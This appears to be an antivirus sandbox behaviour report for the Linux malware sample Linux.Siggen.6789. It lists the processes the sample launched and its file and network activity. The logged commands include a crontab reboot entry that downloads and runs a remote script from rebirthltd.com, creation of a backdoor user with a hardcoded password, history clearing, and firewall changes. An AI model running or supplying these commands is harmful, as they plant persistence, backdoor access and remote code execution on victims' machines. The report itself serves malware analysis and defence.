Linux.Siggen.6789

Technical Information

Malicious functions:

Launches itself as a daemon

Substitutes application name for:

/bin/bash

Launches processes:

/usr/bin/netkit-ftp ftp -n
/bin/sh -c firewall-cmd --zone=public --add-rich-rule=\x27rule family=\x22ipv4\x22 port protocol=\x22tcp\x22 port=\x2237215\x22 reject\x27
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_37215_TCP\x22 dir=in action=block protocol=TCP localport=37215
/bin/sh -c echo \x22block drop in quick on any from 141.98.10.128\x22 | sudo pfctl -f -
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_IP_141.98.10.128\x22 dir=in action=block remoteip=141.98.10.128
crontab -
/sbin/xtables-multi iptables -A INPUT -p tcp --dport 59666 -j DROP
/bin/sh -c firewall-cmd --zone=public --add-port=59666/udp --permanent
/bin/sh -c echo \x22block drop proto tcp from any to any port 59666\x22 | sudo pfctl -f -
/bin/sh -c history -c
/bin/sh -c nft add rule ip filter input ip saddr 141.98.10.128 drop
crontab -l
/bin/sh -c firewall-cmd --zone=public --add-rich-rule=\x27rule family=\x22ipv4\x22 port protocol=\x22udp\x22 port=\x2237215\x22 reject\x27
/sbin/xtables-multi iptables -A INPUT -p udp --dport 59666 -j DROP
useradd -m Signalbot
/bin/sh -c echo \x22block drop proto udp from any to any port 59666\x22 | sudo pfctl -f -
/bin/sh -c nft add rule ip filter input udp dport 37215 drop
/bin/sh -c iptables -A INPUT -s 141.98.10.128 -j DROP
/sbin/xtables-multi iptables -A INPUT -p udp --dport 37215 -j DROP
/bin/sh -c ufw deny 59666/tcp
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_59666_TCP\x22 dir=in action=block protocol=TCP localport=59666
/bin/sh -c iptables -A INPUT -p udp --dport 59666 -j DROP
/bin/sh -c echo \x22block drop proto udp from any to any port 37215\x22 | sudo pfctl -f -
/bin/sh -c ufw deny from 141.98.10.128
/bin/sh -c nft add rule ip filter input udp dport 59666 drop
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_59666_UDP\x22 dir=in action=block protocol=UDP localport=59666
/bin/kmod /sbin/modprobe ip_tables
/bin/sh -c ufw deny 37215/tcp
/bin/sh -c netsh advfirewall firewall add rule name=\x22Block_Port_37215_UDP\x22 dir=in action=block protocol=UDP localport=37215
/bin/sh -c firewall-cmd --reload
/bin/sh -c (crontab -l ; echo \x22@reboot /bin/bash -c \x22/bin/wget http://rebirthltd.com/bins.sh; chmod 777 /bin/bins.sh; /bin/sh /bin/bins.sh; /bin/curl -k -L --output /bin/bins.sh http://rebirthltd.com/bins.sh; chmod +x /bin/bins.sh; /bin/sh /bin/bins.sh\x22\x22) | crontab -
/bin/sh -c echo \x22block drop proto tcp from any to any port 37215\x22 | sudo pfctl -f -
/sbin/xtables-multi iptables -A INPUT -s 141.98.10.128 -j DROP
ftp -n
/bin/sh -c iptables -A INPUT -p tcp --dport 59666 -j DROP
/sbin/xtables-multi iptables -A INPUT -p tcp --dport 37215 -j DROP
/bin/sh -c ufw deny 37215/udp
/bin/sh -c iptables -A INPUT -p tcp --dport 37215 -j DROP
/bin/sh -c echo \x22127.0.0.1 fucktheccp.top\x22 >> /etc/hosts
/bin/sh -c echo \x22127.0.0.1 reachedfucktheccp.top\x22 >> /etc/hosts
sudo pfctl -f -
/bin/sh -c nft add rule ip filter input tcp dport 37215 drop
/bin/sh -c useradd -m Signalbot
/bin/sh -c firewall-cmd --zone=public --add-port=59666/tcp --permanent
chpasswd
/bin/sh -c nft add rule ip filter input tcp dport 59666 drop
/bin/sh -c firewall-cmd --zone=public --add-source=141.98.10.128 --permanent
/bin/sh -c ufw deny 59666/udp
/bin/sh -c echo \x22Signalbot:ufobotz1337\x22 | chpasswd
/bin/sh -c iptables -A INPUT -p udp --dport 37215 -j DROP

Performs operations with the file system:

Modifies file access rights:

/home/Signalbot
/home/Signalbot/.bashrc
/home/Signalbot/.profile
/home/Signalbot/.bash_logout
/etc/passwd+
/etc/shadow+
/etc/group+
/etc/gshadow+
/etc/subuid+
/etc/subgid+
/etc/nshadow

Modifies file owner:

/home/Signalbot
/home/Signalbot/.bashrc
/home/Signalbot/.profile
/home/Signalbot/.bash_logout
/etc/passwd+
/etc/shadow+
/etc/group+
/etc/gshadow+
/etc/subuid+
/etc/subgid+
/etc/nshadow

Creates folders:

/home/Signalbot

Deletes folders:

/xconsole
/null

Creates symlinks:

/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/etc/shadow.lock

Creates or modifies files:

/self
/proc/833/cmdline
/etc/.pwd.lock
/etc/passwd.835
/etc/group.835
/etc/gshadow.835
/etc/subuid.835
/etc/subgid.835
/etc/shadow.835
/var/log/faillog
/var/log/lastlog
/home/Signalbot/.bashrc
/home/Signalbot/.profile
/home/Signalbot/.bash_logout
/etc/passwd-
/etc/passwd+
/etc/shadow-
/etc/shadow+
/etc/group-
/etc/group+
/etc/gshadow-
/etc/gshadow+
/etc/subuid-
/etc/subuid+
/etc/subgid-
/etc/subgid+
/etc/nshadow
/etc/sudoers
/ip_addresses.txt
/etc/hosts
/dev/full

Deletes files:

/etc/passwd.835
/etc/group.835
/etc/gshadow.835
/etc/subuid.835
/etc/subgid.835
/etc/shadow.835
/xconsole
/etc/shadow.lock
/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/null

Changes time of creation/access/modification of files:

/home/Signalbot/.bashrc
/home/Signalbot/.profile
/home/Signalbot/.bash_logout
/etc/passwd-
/etc/shadow-
/etc/group-
/etc/gshadow-
/etc/subuid-
/etc/subgid-

Network activity:

Awaits incoming connections on ports:

127.0.0.1:8345

Establishes connection:

8.#.8.8:53
[:##]:37215
127.0.0.1:37215
[:##]:59666
127.0.0.1:59666

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